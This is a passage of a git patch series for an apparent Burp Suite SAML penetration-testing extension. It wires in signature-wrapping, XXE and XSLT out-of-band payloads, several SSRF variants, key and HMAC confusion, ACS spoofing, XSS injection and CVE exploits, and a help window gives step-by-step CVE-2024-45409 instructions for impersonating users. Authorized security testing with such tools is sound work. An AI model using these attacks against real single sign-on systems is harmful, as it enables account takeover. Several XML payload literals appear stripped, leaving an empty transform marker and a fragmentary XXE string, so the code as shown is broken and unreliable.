Transport:"), labelConstraints); + encryptionInformationPanel.add(keyTransport, valueConstraints); + encryptionInformationPanel.add(new JLabel("Key Identifier:"), labelConstraints); + encryptionInformationPanel.add(keyIdentifier, "width 200::, wrap"); + + var responseInformationPanel = new JPanel(); + responseInformationPanel.setBorder(BorderFactory.createTitledBorder("Response Information")); + responseInformationPanel.setLayout(new MigLayout()); + responseInformationPanel.add(new JLabel("Status:"), labelConstraints); + responseInformationPanel.add(responseStatus, valueConstraints); + responseInformationPanel.add(new JLabel("Destination:"), labelConstraints); + responseInformationPanel.add(responseDestination, valueConstraints); + responseInformationPanel.add(new JLabel("IssueInstant:"), labelConstraints); + responseInformationPanel.add(responseIssueInstant, valueConstraints); + responseInformationPanel.add(new JLabel("InResponseTo:"), labelConstraints); + responseInformationPanel.add(responseInResponseTo, valueConstraints); var informationPanelConstraints = "wrap"; @@ -77,6 +100,7 @@ private void initialize() { informationPanels.add(signatureInformationPanel, informationPanelConstraints); informationPanels.add(subjectInformationPanel, informationPanelConstraints); informationPanels.add(encryptionInformationPanel, informationPanelConstraints); + informationPanels.add(responseInformationPanel, informationPanelConstraints); var scrollPane = new JScrollPane(informationPanels); scrollPane.setBorder(new EmptyBorder(0, 0, 0, 0)); @@ -121,6 +145,30 @@ public void setEncryptionAlgorithm(String string){ encryptedWith.setText(string); } + public void setKeyTransport(String string) { + keyTransport.setText(string); + } + + public void setKeyIdentifier(String string) { + keyIdentifier.setText(string); + } + + public void setResponseDestination(String string) { + responseDestination.setText(string); + } + + public void setResponseIssueInstant(String string) { + responseIssueInstant.setText(string); + } + + public void setResponseInResponseTo(String string) { + responseInResponseTo.setText(string); + } + + public void setResponseStatus(String string) { + responseStatus.setText(string); + } + public void clearAll(){ setIssuer(""); setSubject(""); @@ -131,5 +179,11 @@ public void clearAll(){ setSignatureAlgorithm(""); setDigestAlgorithm(""); setEncryptionAlgorithm(""); + setKeyTransport(""); + setKeyIdentifier(""); + setResponseDestination(""); + setResponseIssueInstant(""); + setResponseInResponseTo(""); + setResponseStatus(""); } } \ No newline at end of file diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java index cbdd293..875f6b3 100644 --- a/src/main/java/gui/SamlXmlEditor.java +++ b/src/main/java/gui/SamlXmlEditor.java @@ -48,6 +48,7 @@ private enum Tk { TEXT, BRACKET, TAG_NAME, ATTR_NAME, ATTR_VALUE, COMMENT, CDATA private final AtomicBoolean modified = new AtomicBoolean(false); private volatile boolean suppressEvents = false; private boolean softWrap = false; + private Runnable onUserEditCallback; // Search private final JTextField searchField; @@ -109,6 +110,7 @@ private void onEdit() { if (!suppressEvents) { modified.set(true); highlightTimer.restart(); + if (onUserEditCallback != null) onUserEditCallback.run(); } } }); @@ -442,6 +444,10 @@ private void clearSearch() { /* Public API */ /* ------------------------------------------------------------------ */ + public void setOnUserEditCallback(Runnable callback) { + this.onUserEditCallback = callback; + } + public void setText(String text) { suppressEvents = true; try { From 0e573f76d1c9d80d94f36cc5b5bc0d8f782e258a Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Fri, 24 Apr 2026 14:55:00 -0400 Subject: [PATCH 23/27] Extend XMLHelpers with response-level and encryption metadata extraction Adds getResponseAttribute(), getStatusCode(), getKeyTransportAlgorithm(), and getEncryptionKeyIdentifier() to extract data from the outer Response element and EncryptedKey structure without needing to decrypt the assertion. Also adds getSubjectNameID() for extracting NameID from encrypted assertion contexts. Co-Authored-By: Claude Sonnet 4.6 --- src/main/java/helpers/XMLHelpers.java | 70 +++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) diff --git a/src/main/java/helpers/XMLHelpers.java b/src/main/java/helpers/XMLHelpers.java index bb270b2..0cb9c32 100644 --- a/src/main/java/helpers/XMLHelpers.java +++ b/src/main/java/helpers/XMLHelpers.java @@ -382,6 +382,20 @@ public String getSubjectConfNotAfter(Node assertion) { return getAttributeValueByName(subjConfirmation, "NotOnOrAfter"); } + /** + * Returns the first Subject/NameID text content in the given assertion. + * + * @param assertion Assertion with a Subject/NameID + * @return NameID text content if present, else empty string + */ + public String getSubjectNameID(Node assertion) { + if (assertion == null || !assertion.getLocalName().equals("Assertion")) { + return ""; + } + NodeList nl = ((Element) assertion).getElementsByTagNameNS("*", "NameID"); + return nl.getLength() > 0 ? nl.item(0).getTextContent() : ""; + } + /** * Returns Signature Algorithm of Node which is signed * @@ -425,6 +439,62 @@ public String getEncryptionMethod(Node assertion) { return getAttributeValueByName(encryptionMethod, "Algorithm"); } + public String getKeyTransportAlgorithm(Node encryptedAssertion) { + if (encryptedAssertion == null || !encryptedAssertion.getLocalName().equals("EncryptedAssertion")) { + return ""; + } + Element encryptedKey = (Element) ((Element) encryptedAssertion).getElementsByTagNameNS("*", "EncryptedKey").item(0); + if (encryptedKey == null) return ""; + Element method = (Element) encryptedKey.getElementsByTagNameNS("*", "EncryptionMethod").item(0); + return getAttributeValueByName(method, "Algorithm"); + } + + public String getEncryptionKeyIdentifier(Node encryptedAssertion) { + if (encryptedAssertion == null || !encryptedAssertion.getLocalName().equals("EncryptedAssertion")) { + return ""; + } + Element encryptedKey = (Element) ((Element) encryptedAssertion).getElementsByTagNameNS("*", "EncryptedKey").item(0); + if (encryptedKey == null) return ""; + + NodeList certs = encryptedKey.getElementsByTagNameNS("*", "X509Certificate"); + if (certs.getLength() > 0) { + String cert = certs.item(0).getTextContent().trim(); + return cert.length() > 32 ? cert.substring(0, 32) + "…" : cert; + } + + NodeList issuerSerials = encryptedKey.getElementsByTagNameNS("*", "X509IssuerSerial"); + if (issuerSerials.getLength() > 0) { + Element is = (Element) issuerSerials.item(0); + NodeList names = is.getElementsByTagNameNS("*", "X509IssuerName"); + NodeList serials = is.getElementsByTagNameNS("*", "X509SerialNumber"); + String name = names.getLength() > 0 ? names.item(0).getTextContent().trim() : ""; + String serial = serials.getLength() > 0 ? serials.item(0).getTextContent().trim() : ""; + return name + " | Serial: " + serial; + } + + NodeList subjects = encryptedKey.getElementsByTagNameNS("*", "X509SubjectName"); + if (subjects.getLength() > 0) { + return subjects.item(0).getTextContent().trim(); + } + return ""; + } + + public String getResponseAttribute(Document document, String attrName) { + NodeList responses = document.getElementsByTagNameNS("*", "Response"); + if (responses.getLength() > 0) { + return getAttributeValueByName((Element) responses.item(0), attrName); + } + return ""; + } + + public String getStatusCode(Document document) { + NodeList codes = document.getElementsByTagNameNS("*", "StatusCode"); + if (codes.getLength() == 0) return ""; + String value = getAttributeValueByName((Element) codes.item(0), "Value"); + int last = value.lastIndexOf(':'); + return last >= 0 ? value.substring(last + 1) : value; + } + /** * Returns embedded x509 certificate of signature * From e383f2f7267f3d41d05371b7571e8ba21fe5e675 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Fri, 24 Apr 2026 14:55:09 -0400 Subject: [PATCH 24/27] Wire all new attacks into controller with signature staleness tracking SamlTabController adds handler methods for all 15 new attack helpers, wires them to the new UI actions, and tracks signature staleness: after any mutation the panel shows a warning indicating the signature is stale so the tester knows whether to re-sign or forward as-is. The info panel is updated to populate the new Response Information and Encryption metadata fields. CVE-2024-45409 is added to the CVE dropdown. Co-Authored-By: Claude Sonnet 4.6 --- .../java/application/SamlTabController.java | 391 ++++++++++++++++-- src/main/java/gui/CVEHelpWindow.java | 24 ++ src/main/java/gui/CertificateTab.java | 13 - src/main/java/helpers/XSWHelpers.java | 103 ----- src/main/java/livetesting/ApplyXsltTest.java | 4 +- src/main/java/livetesting/Issue78Test.java | 4 +- 6 files changed, 374 insertions(+), 165 deletions(-) diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java index 6009ef3..e87449b 100644 --- a/src/main/java/application/SamlTabController.java +++ b/src/main/java/application/SamlTabController.java @@ -15,11 +15,25 @@ import gui.SamlXmlEditor; import gui.SignatureHelpWindow; import gui.XSWHelpWindow; +import helpers.AssertionManipulator; +import helpers.CommentInjection; import helpers.CVE_2022_41912; +import helpers.CVE_2024_45409; import helpers.CVE_2025_23369; import helpers.CVE_2025_25291; import helpers.CVE_2025_25292; +import helpers.ACSSpoof; +import helpers.DigestTamper; +import helpers.DupeKeyConfusion; +import helpers.EncryptionSSRF; +import helpers.HMACConfusion; +import helpers.IssuerConfusion; +import helpers.KeyInfoSSRF; +import helpers.PIInjection; +import helpers.ResponseXSS; +import helpers.SignatureRefSSRF; import helpers.XMLHelpers; +import helpers.XSLTPayloads; import helpers.XSWHelpers; import java.awt.Component; import java.awt.Desktop; @@ -79,12 +93,22 @@ public class SamlTabController implements ExtensionProvidedHttpRequestEditor, Ob private XSWHelpers xswHelpers; private boolean isEdited = false; + // Signature staleness tracking + private boolean hadSignature = false; // original message contained a element + private boolean signatureIsStale = false; + // Remembered original X509Certificate from the *pre-attack* KeyInfo. + // Captured at setRequestResponse time so Dupe-Key Confusion can restore + // the victim identity after the user re-signs with an attacker key. + private String originalX509Cert = null; + public SamlTabController(boolean editable, CertificateTabController certificateTabController) { this.certificateTabController = requireNonNull(certificateTabController, "certificateTabController"); this.editable = editable; samlGUI = new SamlMain(this); textArea = samlGUI.getXmlEditorAction(); textArea.setEditable(editable); + // Manual edits in the editor mark the signature stale (same as applying an attack). + textArea.setOnUserEditCallback(this::markSignatureStale); xmlHelpers = new XMLHelpers(); xswHelpers = new XSWHelpers(); this.certificateTabController.addObserver(this); @@ -232,10 +256,12 @@ public void setRequestResponse(HttpRequestResponse requestResponse) { ? HttpParameterType.URL : HttpParameterType.BODY; - var parameterValue = + var paramName = this.samlMessageAnalysisResult.isSAMLRequest() - ? requestResponse.request().parameterValue(certificateTabController.getSamlRequestParameterName(), httpParamType) - : requestResponse.request().parameterValue(certificateTabController.getSamlResponseParameterName(), httpParamType); + ? certificateTabController.getSamlRequestParameterName() + : certificateTabController.getSamlResponseParameterName(); + var parameterValue = SamlMessageAnalyzer.extractParameterValue( + requestResponse.request(), paramName, httpParamType); var decodedSAMLMessage = SamlMessageDecoder.getDecodedSAMLMessage( @@ -261,6 +287,20 @@ public void setRequestResponse(HttpRequestResponse requestResponse) { updateXSWList(); orgSAMLMessage = samlMessage; + // Detect whether the loaded message has a signature so staleness can be tracked. + // Also remember the original X509Certificate for Dupe Key Confusion. + hadSignature = false; + originalX509Cert = null; + try { + Document sigDoc = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + hadSignature = sigDoc.getElementsByTagNameNS("*", "Signature").getLength() > 0; + if (hadSignature) { + originalX509Cert = xmlHelpers.getCertificate(sigDoc.getDocumentElement()); + } + } catch (Exception ignored) {} + signatureIsStale = false; + samlGUI.getActionPanel().setSignatureStatus(false); + // Show prettified XML (editable) for sanity when working with big SAML blobs. textArea.setText(prettifyXmlOrFallback(samlMessage)); textArea.setEditable(editable); @@ -284,10 +324,17 @@ private void setInformationDisplay() { try { Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + infoPanel.setIssuer(xmlHelpers.getIssuer(document)); + infoPanel.setResponseDestination(xmlHelpers.getResponseAttribute(document, "Destination")); + infoPanel.setResponseIssueInstant(xmlHelpers.getResponseAttribute(document, "IssueInstant")); + infoPanel.setResponseInResponseTo(xmlHelpers.getResponseAttribute(document, "InResponseTo")); + infoPanel.setResponseStatus(xmlHelpers.getStatusCode(document)); + NodeList assertions = xmlHelpers.getAssertions(document); if (assertions.getLength() > 0) { Node assertion = assertions.item(0); - infoPanel.setIssuer(xmlHelpers.getIssuer(document)); + infoPanel.setSubject(xmlHelpers.getSubjectNameID(assertion)); infoPanel.setConditionNotBefore(xmlHelpers.getConditionNotBefore(assertion)); infoPanel.setConditionNotAfter(xmlHelpers.getConditionNotAfter(assertion)); infoPanel.setSubjectConfNotBefore(xmlHelpers.getSubjectConfNotBefore(assertion)); @@ -295,9 +342,13 @@ private void setInformationDisplay() { infoPanel.setSignatureAlgorithm(xmlHelpers.getSignatureAlgorithm(assertion)); infoPanel.setDigestAlgorithm(xmlHelpers.getDigestAlgorithm(assertion)); } else { - assertions = xmlHelpers.getEncryptedAssertions(document); - Node assertion = assertions.item(0); - infoPanel.setEncryptionAlgorithm(xmlHelpers.getEncryptionMethod(assertion)); + NodeList encrypted = xmlHelpers.getEncryptedAssertions(document); + if (encrypted.getLength() > 0) { + Node enc = encrypted.item(0); + infoPanel.setEncryptionAlgorithm(xmlHelpers.getEncryptionMethod(enc)); + infoPanel.setKeyTransport(xmlHelpers.getKeyTransportAlgorithm(enc)); + infoPanel.setKeyIdentifier(xmlHelpers.getEncryptionKeyIdentifier(enc)); + } } } catch (SAXException e) { setInfoMessageText(XML_NOT_WELL_FORMED); @@ -305,15 +356,7 @@ private void setInformationDisplay() { } private void resetInformationDisplay() { - SamlPanelInfo infoPanel = samlGUI.getInfoPanel(); - infoPanel.setIssuer(""); - infoPanel.setConditionNotBefore(""); - infoPanel.setConditionNotAfter(""); - infoPanel.setSubjectConfNotBefore(""); - infoPanel.setSubjectConfNotAfter(""); - infoPanel.setSignatureAlgorithm(""); - infoPanel.setDigestAlgorithm(""); - infoPanel.setEncryptionAlgorithm(""); + samlGUI.getInfoPanel().clearAll(); } @@ -326,6 +369,7 @@ public void removeSignature() { textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("Message signature successful removed"); + clearSignatureStaleness(); } else { setInfoMessageText("No Signatures available to remove"); } @@ -354,6 +398,7 @@ public void resetMessage() { textArea.resetModified(); samlGUI.getStatusPanel().setText(""); isEdited = false; + clearSignatureStaleness(); } public void resignAssertion() { @@ -376,6 +421,7 @@ public void resignAssertion() { textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("Assertions successfully signed"); + clearSignatureStaleness(); } else { setInfoMessageText("no certificate chosen to sign"); } @@ -411,6 +457,7 @@ public void resignMessage() { textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("Message successfully signed"); + clearSignatureStaleness(); } else { setInfoMessageText("no certificate chosen to sign"); } @@ -476,10 +523,11 @@ public void sendToCertificatesTab() { public void showXSWPreview() { try { - Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(orgSAMLMessage); + String current = textArea.getText(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(current); xswHelpers.applyXSW(samlGUI.getActionPanel().getSelectedXSW(), document); String after = xmlHelpers.getStringOfDocument(document); - String diff = xswHelpers.diffLineMode(orgSAMLMessage, after); + String diff = xswHelpers.diffLineMode(current, after); File file = File.createTempFile("tmp", ".html", null); FileOutputStream fileOutputStream = new FileOutputStream(file); @@ -514,30 +562,42 @@ public void showXSWPreview() { public void applyCVE() { try { var cve = samlGUI.getActionPanel().getSelectedCVE(); + String current = textArea.getText(); switch (cve) { case CVE_2022_41912.CVE: - samlMessage = CVE_2022_41912.apply(orgSAMLMessage); + samlMessage = CVE_2022_41912.apply(current); textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); + markSignatureStale(); break; case CVE_2025_23369.CVE: - samlMessage = CVE_2025_23369.apply(orgSAMLMessage); + samlMessage = CVE_2025_23369.apply(current); textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); + markSignatureStale(); break; case CVE_2025_25291.CVE: - samlMessage = CVE_2025_25291.apply(orgSAMLMessage); + samlMessage = CVE_2025_25291.apply(current); textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); + markSignatureStale(); break; case CVE_2025_25292.CVE: - samlMessage = CVE_2025_25292.apply(orgSAMLMessage); + samlMessage = CVE_2025_25292.apply(current); textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); + markSignatureStale(); + break; + case CVE_2024_45409.CVE: + samlMessage = CVE_2024_45409.apply(current); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("%s applied".formatted(cve)); + markSignatureStale(); break; } } catch (Exception exc) { @@ -546,15 +606,247 @@ public void applyCVE() { } } + public void applyCommentInjection(CommentInjection.Position position) { + try { + // Comment injection inserts nodes that exclusive C14N strips before digest + // computation, so the existing signature remains valid — do not mark stale. + samlMessage = CommentInjection.apply(textArea.getText(), position); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("Comment injected (" + position.name() + ") — signature remains valid via C14N"); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyHMACConfusion() { + try { + samlMessage = HMACConfusion.apply(textArea.getText()); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("HMAC confusion applied — SignatureMethod swapped to HMAC-SHA256"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyExtendValidity(int hours) { + try { + samlMessage = AssertionManipulator.extendValidity(textArea.getText(), hours); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("Validity extended by " + hours + "h — re-sign if the assertion is signed"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyStatusSuccess() { + try { + samlMessage = AssertionManipulator.forceStatusSuccess(textArea.getText()); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("StatusCode set to Success"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyRemoveAudience() { + try { + samlMessage = AssertionManipulator.removeAudienceRestriction(textArea.getText()); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("AudienceRestriction removed"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyDigestTamper() { + try { + samlMessage = DigestTamper.apply(textArea.getText()); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("DigestValue corrupted — forward to test SP signature verification"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyKeyInfoSSRF(String retrievalUrl) { + try { + samlMessage = KeyInfoSSRF.apply(textArea.getText(), retrievalUrl); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("KeyInfo replaced with RetrievalMethod → " + retrievalUrl); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyEncryptionSSRF(EncryptionSSRF.Mode mode, String url) { + try { + samlMessage = EncryptionSSRF.apply(textArea.getText(), mode, url); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText(mode.name() + " → " + url); + // Outer Response signature covers the EncryptedAssertion subtree; mutating + // its internals invalidates any enclosing signature. + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applySignatureRefSSRF(SignatureRefSSRF.Mode mode, String url) { + try { + samlMessage = SignatureRefSSRF.apply(textArea.getText(), mode, url); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText(mode.name() + " → " + url); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyPIInjection(PIInjection.Position position) { + try { + // Processing instructions may or may not be stripped by c14n depending on + // algorithm — mark stale to be safe. + samlMessage = PIInjection.apply(textArea.getText(), position); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("Processing instruction injected (" + position.name() + ")"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyIssuerConfusion(IssuerConfusion.Mode mode) { + try { + samlMessage = IssuerConfusion.apply(textArea.getText(), mode); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("Issuer mutated (" + mode.name() + ")"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyACSSpoof(String attackerUrl) { + try { + samlMessage = ACSSpoof.apply(textArea.getText(), attackerUrl); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("AssertionConsumerServiceURL → " + attackerUrl); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void applyDupeKeyConfusion() { + try { + BurpCertificate attackerCert = samlGUI.getActionPanel().getSelectedCertificate(); + if (attackerCert == null) { + setInfoMessageText("Pick an attacker cert (with private key) in the Signing dropdown first."); + return; + } + if (originalX509Cert == null || originalX509Cert.isBlank()) { + setInfoMessageText("Could not find the original X509Certificate — was the loaded message signed?"); + return; + } + // Step 1: re-sign the assertion with the attacker key so the signature verifies under it. + resignAssertion(); + // Step 2: rewrite KeyInfo — attacker RSAKeyValue first, original X509 second. + samlMessage = DupeKeyConfusion.apply(textArea.getText(), attackerCert, originalX509Cert); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("Dupe Key Confusion applied — forward as-is"); + // Not stale — signature verifies under attacker key per design. + clearSignatureStaleness(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + public void importMetadata(String metadataXml) { + try { + var entries = helpers.MetadataImport.extract(metadataXml); + if (entries.isEmpty()) { + setInfoMessageText("Metadata contained no entries."); + return; + } + int imported = 0; + for (var entry : entries) { + // Build PEM-wrapped string so the existing importer parses it as a certificate. + String pem = "-----BEGIN CERTIFICATE-----\n" + + wrap64(entry.base64Der()) + + "-----END CERTIFICATE-----\n"; + var cert = certificateTabController.importCertificateFromString(pem); + if (cert != null) imported++; + } + setInfoMessageText("Imported " + imported + " certificate(s) from metadata"); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + private static String wrap64(String b64) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < b64.length(); i += 64) { + sb.append(b64, i, Math.min(i + 64, b64.length())).append('\n'); + } + return sb.toString(); + } + + public void applyResponseXSS(ResponseXSS.Target target, String payload) { + try { + samlMessage = ResponseXSS.apply(textArea.getText(), target, payload); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("XSS payload injected into " + target.name()); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + public void applyXSW() { Document document; try { - document = xmlHelpers.getXMLDocumentOfSAMLMessage(orgSAMLMessage); + document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getText()); xswHelpers.applyXSW(samlGUI.getActionPanel().getSelectedXSW(), document); samlMessage = xmlHelpers.getStringOfDocument(document); textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText(XSW_ATTACK_APPLIED); + markSignatureStale(); } catch (SAXException e) { setInfoMessageText(XML_NOT_WELL_FORMED); } catch (IOException e) { @@ -565,58 +857,50 @@ public void applyXSW() { } public void applyXXE(String collabUrl) { + String current = textArea.getText(); String xxePayload = " %xxe; ]>\n"; - String[] splitMsg = orgSAMLMessage.split("\\?>"); + String[] splitMsg = current.split("\\?>"); if (splitMsg.length == 2) { samlMessage = splitMsg[0] + "?>" + xxePayload + splitMsg[1]; } else { String xmlDeclaration = "\n"; - samlMessage = xmlDeclaration + xxePayload + orgSAMLMessage; + samlMessage = xmlDeclaration + xxePayload + current; } textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText(XXE_CONTENT_APPLIED); + markSignatureStale(); } - public void applyXSLT(String collabUrl) { + public void applyXSLT(XSLTPayloads.Flavor flavor, String param) { + String current = textArea.getText(); var prefixed = true; var transformString = ""; - int index = orgSAMLMessage.indexOf(transformString); + int index = current.indexOf(transformString); if (index == -1) { prefixed = false; transformString = ""; } - index = orgSAMLMessage.indexOf(transformString); + index = current.indexOf(transformString); if (index == -1) { setInfoMessageText(XML_NOT_SUITABLE_FOR_XSLT); return; } var prefix = prefixed ? "ds:" : ""; - var xslt = """ - - <%sTransform> - - - - - - - - - - - """.formatted(prefix, collabUrl, prefix); + var stylesheet = XSLTPayloads.stylesheetFor(flavor, param); + var xslt = "\n<%sTransform>\n%s\n\n".formatted(prefix, stylesheet, prefix); int substringIndex = index + transformString.length(); - String firstPart = orgSAMLMessage.substring(0, substringIndex); - String secondPart = orgSAMLMessage.substring(substringIndex); + String firstPart = current.substring(0, substringIndex); + String secondPart = current.substring(substringIndex); samlMessage = firstPart + xslt + secondPart; textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; - setInfoMessageText(XSLT_CONTENT_APPLIED); + setInfoMessageText(XSLT_CONTENT_APPLIED + " (" + flavor.name() + ")"); + markSignatureStale(); } public synchronized void addMatchAndReplace(String match, String replace) { @@ -667,4 +951,21 @@ public void setEditorContents(String text) { this.isEdited = true; this.textArea.setText(prettifyXmlOrFallback(text)); } + + // Called after any attack or manual edit that leaves the document content + // out of sync with its embedded signature(s). + private void markSignatureStale() { + if (hadSignature && !signatureIsStale) { + signatureIsStale = true; + samlGUI.getActionPanel().setSignatureStatus(true); + } + } + + // Called after re-sign, reset, or signature removal — signature is no longer stale. + private void clearSignatureStaleness() { + if (signatureIsStale) { + signatureIsStale = false; + samlGUI.getActionPanel().setSignatureStatus(false); + } + } } diff --git a/src/main/java/gui/CVEHelpWindow.java b/src/main/java/gui/CVEHelpWindow.java index 772c293..4673a0d 100644 --- a/src/main/java/gui/CVEHelpWindow.java +++ b/src/main/java/gui/CVEHelpWindow.java @@ -1,6 +1,7 @@ package gui; import helpers.CVE_2022_41912; +import helpers.CVE_2024_45409; import helpers.CVE_2025_23369; import helpers.CVE_2025_25291; import helpers.CVE_2025_25292; @@ -17,6 +18,29 @@ public class CVEHelpWindow extends JFrame { public CVEHelpWindow(String cve) { var description = switch (cve) { + case CVE_2024_45409.CVE -> """ +
      +
    1. + You need a valid SAMLResponse containing a signed Assertion that is accepted by the target SP running ruby-saml < 1.17.0. +
    2. +
    3. + Apply the CVE-2024-45409 attack. A second, unsigned Assertion is prepended before the original signed Assertion inside the Response. +
    4. +
    5. + Modify the prepended (evil) Assertion — change the NameID or Attributes to impersonate the target user. + ruby-saml < 1.17.0 evaluates assertions by XPath order and processes the first one it finds. + It verifies that a valid signature exists somewhere in the document but does not check that the specific Assertion being consumed is covered by it. +
    6. +
    7. + Forward the modified response. A vulnerable SP will authenticate as the identity in the prepended (unsigned) Assertion. +
    8. +
    +

    + References: + GHSA-jw9c-mfg7-9rx2  |  + PortSwigger SAML research +

    + """; case CVE_2022_41912.CVE -> """
    1. diff --git a/src/main/java/gui/CertificateTab.java b/src/main/java/gui/CertificateTab.java index 75c8213..85d9b15 100644 --- a/src/main/java/gui/CertificateTab.java +++ b/src/main/java/gui/CertificateTab.java @@ -97,8 +97,6 @@ public void actionPerformed(ActionEvent e) { if (returnVal == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); certificateTabController.importCertificate(file.getAbsolutePath()); - } else { - System.out.println("Cancelled by user"); } } }); @@ -110,8 +108,6 @@ public void actionPerformed(ActionEvent e) { if (returnVal == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); certificateTabController.importCertificateChain(file.getAbsolutePath()); - } else { - System.out.println("Cancelled by user"); } } }); @@ -123,8 +119,6 @@ public void actionPerformed(ActionEvent e) { if (returnVal == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); certificateTabController.exportCertificate(selectedBurpCertificate, file.getAbsolutePath()); - } else { - System.out.println("Cancelled by user"); } } }); @@ -217,8 +211,6 @@ public void actionPerformed(ActionEvent e) { if (returnVal == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); certificateTabController.importPrivateKeyPkcs8DerFormat(selectedBurpCertificate, file.getAbsolutePath()); - } else { - System.out.println("Cancelled by user"); } } }); @@ -230,8 +222,6 @@ public void actionPerformed(ActionEvent e) { if (returnVal == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); certificateTabController.importPrivateKeyPemFormat(selectedBurpCertificate, file.getAbsolutePath()); - } else { - System.out.println("Cancelled by user"); } } }); @@ -243,8 +233,6 @@ public void actionPerformed(ActionEvent e) { if (returnVal == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); certificateTabController.exportPrivateKeyPemFormat(selectedBurpCertificate, file.getAbsolutePath()); - } else { - System.out.println("Cancelled by user"); } } }); @@ -355,7 +343,6 @@ public void actionPerformed(ActionEvent e) { JButton tbnAddSubjectAlternativeName = new JButton("Add"); tbnAddSubjectAlternativeName.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { - System.out.println(txtSubjectAlternativeNameName.getText()); addSubjectAlternativeNames(txtSubjectAlternativeNameName.getText() + " (" + cbbSubjectAlternativeNameType.getSelectedItem() + ")"); } }); diff --git a/src/main/java/helpers/XSWHelpers.java b/src/main/java/helpers/XSWHelpers.java index 819a950..76c87b3 100644 --- a/src/main/java/helpers/XSWHelpers.java +++ b/src/main/java/helpers/XSWHelpers.java @@ -1,25 +1,10 @@ package helpers; -import burp.BurpExtender; import helpers.DiffMatchPatch.Diff; import helpers.DiffMatchPatch.LinesToCharsResult; -import 